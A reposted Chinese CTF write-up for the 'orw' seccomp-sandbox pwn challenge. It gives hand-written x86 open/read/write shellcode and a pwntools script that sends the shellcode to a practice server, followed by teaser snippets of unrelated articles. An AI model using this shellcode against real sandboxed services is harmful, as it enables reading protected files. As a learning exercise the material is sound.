pwnable_orw-seccomp沙箱

news2024/11/28 19:00:11

1,三连
在这里插入图片描述
2,IDA静态分析
在这里插入图片描述

知识点引入:
seccomp 是 secure computing 的缩写,其是 Linux kernel 从2.6.23版本引入的一种简洁的 sandboxing 机制。在 Linux 系统里,大量的系统调用(system call)直接暴露给用户态程序。但是,并不是所有的系统调用都被需要,而且不安全的代码滥用系统调用会对系统造成安全威胁。seccomp安全机制能使一个进程进入到一种“安全”运行模式,该模式下的进程只能调用4种系统调用(system call),即 read(), write(), exit() 和 sigreturn(),否则进程便会被终止。

借助seccomp-tools工具查看可以系统调用的函数:
在这里插入图片描述
还能调用o(open)/r(read)/w(write)功能,题目orw的提示就是这样来的!

思路:打开文件->读文件内容->输出文件内容。

手动生成读取文件shellcode

打开flag文件,sys_open(file,0,0);系统调用号为5

push 0x0  			#字符串结尾
push 0x67616c66		#'flags'
mov ebx,esp			
xor ecx,ecx			#0
xor edx,edx			#0
mov eax,0x5			#调用号
int 0x80			#sys_open(flags,0,0)

读flag文件,sys_read(3,file,0x100);系统调用号为3

mov eax,0x3; 
mov ecx,ebx;	# ecx = char  *buf 缓冲区,读出的数据-->也就是读“flag”
mov ebx,0x3;	# 文件描述符 fd:是文件描述符 0 1 2代表标准的输出输入和出错,3代表其他打开的文件
mov edx,0x100;	#对应字节数
int 0x80;

输出flag文件内容,sys_write(1,file,0x30);系统调用号为4

mov eax,0x4;	# eax = sys_write
mov ebx,0x1;	# ebx = unsigned int fd = 1
int 0x80;

pwntool-shellcraft自动生成

from pwn import *

#start
# r = process("../orw")
r = remote('node4.buuoj.cn',26576)
context.log_level = 'debug'

#attack
shellcode = shellcraft.open('flag')					
shellcode += shellcraft.read('eax','esp',60)	#写入到esp的地址,其他可写地址也行,60大小随便改。eax处不为(0/1/2已被占用的文件描述符即可)
shellcode += shellcraft.write(1,'esp',60)			#从esp读取内容
payload = asm(shellcode)
r.sendlineafter("shellcode:",payload)
print(r.recv())
# io.interactive()  

prctl 函数主要是设置系统调用功能的开关,详情参考:https://www.jianshu.com/p/75e157cea215

prctl(38, 1LL, 0LL, 0LL, 0LL)表示禁用系统调用,也就是system和onegadget都没了,还会教子进程也这么干;
而prctl(22,2)表示设置沙箱规则,从而可以实现改变函数的系统调用(通行或者禁止);

设置 seccomp ,其实也就是设置沙箱规则,这个 option 有两个子参数:

1、SECCOMP_MODE*STRICT(1):允许线程进行的唯一系统调用是read(2),write(2),*exit(2)(但不是exit_group(2))和sigreturn(2)。

2、SECCOMP_MODE_FILTER(2) (since Linux 3.5):允许的系统调用由指向arg3中传递的Berkeley Packet Filter的指针定义。 这个参数是一个指向struct sock_fprog的指针; 它可以设计为过滤任意系统调用和系统调用参数

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/428499.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

基于springboot+mybatis的图书购物网站

目录一. 🦁 前言1.1 研究目的和意义1.2 所做的主要工作二. 🦁 技术介绍2.1 B/S结构2.2 MySQL 介绍2.3 Java介绍2.4 Spring boot 框架及特点2.5 Mybatis框架特点三. 🦁 系统功能结构1.1 用户管理功能1.2 管理员管理功能四. 🦁 系统…

ppt文件太大怎么压缩变小,4个方法快速学

ppt文件太大怎么压缩变小?现在都流行线上教学,很多教学的课件都是使用PPT 进行的。但是这些PPT体积往往都非常的大,如果是那种使用时间较长的电脑光是打开这类PPT就非常卡顿了。有的甚至就无法打开这些PPT,或者说打开这些ppt文件但…

智慧工地火焰烟火识别检测系统 opencv

智慧工地火焰烟火识别检测系统通过pythonopencv网络模型算法分析技术,智慧工地火焰烟火识别检测算法模型实现对现场画面中火焰烟雾进行7*24小时不间断识别,实时分析自动报警Python是一种由Guido van Rossum开发的通用编程语言,它很快就变得非…

【ChatGPT】中国支付清算协会倡议支付行业从业人员谨慎使用ChatGPT

ChatGPT1. 近期热议2. ChatGPT是什么3. ChatGPT要谨慎使用4. 如何规范使用1. 近期热议 近期,ChatGPT等工具引起各方广泛关注,已有部分企业员工使用ChatGPT等工具开展工作。但是,此类智能化工具已暴露出跨境数据泄露等风险。为有效应对风险、…

物业企业如何加快向现代服务业转型

近年来,随着人民生活水平的提高,人们对住宅质量提出更高的要求,在此前提下,全国各地涌现出了一些运用现代的计算机、控制与通信技术建设的智能化住宅小区。但是许多智能化住宅小区都存在建好了智能硬件环境却没有智能化的软件在上…

基于html+css的图片展示14

准备项目 项目开发工具 Visual Studio Code 1.44.2 版本: 1.44.2 提交: ff915844119ce9485abfe8aa9076ec76b5300ddd 日期: 2020-04-16T16:36:23.138Z Electron: 7.1.11 Chrome: 78.0.3904.130 Node.js: 12.8.1 V8: 7.8.279.23-electron.0 OS: Windows_NT x64 10.0.19044 项目…

在现代信号处理中,多种时频分析方法可以进行融合吗?

当然可以,以短时傅里叶变换STFT和WVD分析为例进行说明。 STFT得到的时频矩阵没有交叉项的干扰,但时频聚集性无法兼得;而WVD恰恰相反,其时频矩阵 能兼顾时频聚集性,但对多分量信号进行处理会产生交叉项。 为获得时频聚…

axial attention 轴向注意力

Medical Transformer: Gated Axial-Attention for Medical Image Segmentation 论文解读: https://zhuanlan.zhihu.com/p/408662947 实验结果: 0 前言 0.1 原始的注意力机制 0.2 轴向注意力机制 相对位置编码 0.3 在轴向注意力机制基础上 gated 门控单元 门控轴…

pytest测试报告Allure - 动态生成标题生成功能、添加用例失败截图

一、动态生成标题 默认 allure 报告上的测试用例标题不设置就是用例名称,其可读性不高;当结合 pytest.mark.parametrize 参数化完成数据驱动时,如标题写死,其可读性也不高。 那如果希望标题可以动态的生成,采取的方案…

(附3D大屏模板)详解FineVis如何打造智慧医院BIM方案!

近日,又一所三甲医院搭建起了智慧医院,它是深圳大鹏新区人民医院,采用IBM技术,是一家集医疗、科研、预防保健和康复疗养功能的综合体。 这栋建筑包含床位数2000个,总建筑面积417444平方米,建筑高度79.75米…

第四章 法的效力

目录 第一节 法的效力概述 一、法的效力的意义二、法的效力的概念三、法的效力范围 第二节法的时间效力 一、法的生效时间二、法的失效时间三、法律溯及力 第三节法的空间效力 一、法的域内效力二、法的域外效力 第四节 法的对人效力 一、对人效力的原则二、我国法律的对人效力…

epoll 反应堆模型(Libevent库核心思想)

epoll 反应堆模型总述 epoll 反应堆模型是从 libevent 库里面抽取的核心代码。 epoll ET模式 非阻塞、轮询 void *ptr 反应堆的理解:参考理解 加入IO转接之后,有了事件,server才去处理,这里反应堆也是这样,由于网络…

ssm框架之SpringMVC:浅聊获得参数以及获得请求头参数

前面聊过了SpringMVC,以及通过实例演示了SpringMVC如何搭建,如果对环境搭建不太了解的话,可以看一下前面的文章(下面演示的例子,环境都是通过上面的例子进行演示的):传送阵 在使用javaweb项目原…

30天学会《Streamlit》(2)

30学会《Streamlit》是一项编码挑战,旨在帮助您开始构建Streamlit应用程序。特别是,您将能够: 为构建Streamlit应用程序设置编码环境 构建您的第一个Streamlit应用程序 了解用于Streamlit应用程序的所有很棒的输入/输出小部件 第2天 - 构建…

Kubernetes部署Nacos集群

一、k8s架构 master: 11.0.1.3 node: 11.0.1.4,11.0.1.5(nfs) nfs: 11.0.1.5 二、安装nfs 安装nfs-utils和rpcbind nfs客户端和服务端都安装nfs-utils包 yum install nfs-utils rpcbind -y创建共享目录 mkdir -p /nfsdata chmod 777 /nfsdata编辑/etc/exports文件添加如下…

【部署项目】记录一些踩到的坑

这里写自定义目录标题记录一些踩到的坑设置二级域名注意事项文件访问权限记录一些踩到的坑 这个帖子是用来记录自己在windows和linux下进行部署项目时遇到的坑,以及对应的解决办法 设置二级域名 当你只有一个域名又不想买新的域名的时候(域名其实很便宜,贵在租服务器上),二级…

剖析多利熊业务如何基于分布式架构实践稳定性建设

作者 | 百度小程序团队 导读 多利熊稳定性建设,是指为了确保系统或服务,在生产环境中的稳定性而采取的一系列措施和优化。这包括但不限于监控、预警、容错、自动化、规范、质量等方面的优化。通过稳定性建设,可以提高系统的可靠性和可用性&am…

sysbench压测MySQL8问题记录

数据库版本:MySQL8.0.26 sysbench版本:sysbench 1.0.17 CentOS版本:CentOS Linux release 7.9.2009 (Core) 问题一:FATAL: error 2059: Authentication plugin ‘caching_sha2_password’ cannot be loaded 执行 sysbench /usr/…

【论文阅读】3D-LaneNet

【论文阅读】3D-LaneNet 主要要做的事情就是 lane detection。这里提一下 BEV(Bird‘s Eye View) 感知算法,为了将 2D 图像映射到 3D 空间中,能够更准确的检测物体位置,需要 BEV 感知的结果。后续还会继续了解这方面内…

论文阅读【17】Dynamic ensemble learning for multi-label classification

论文十问十答: Q1论文试图解决什么问题? Q2这是否是一个新的问题? Q3这篇文章要验证一个什么科学假设? Q4有哪些相关研究?如何归类?谁是这一课题在领域内值得关注的研究员? Q5论文中提到的解决方…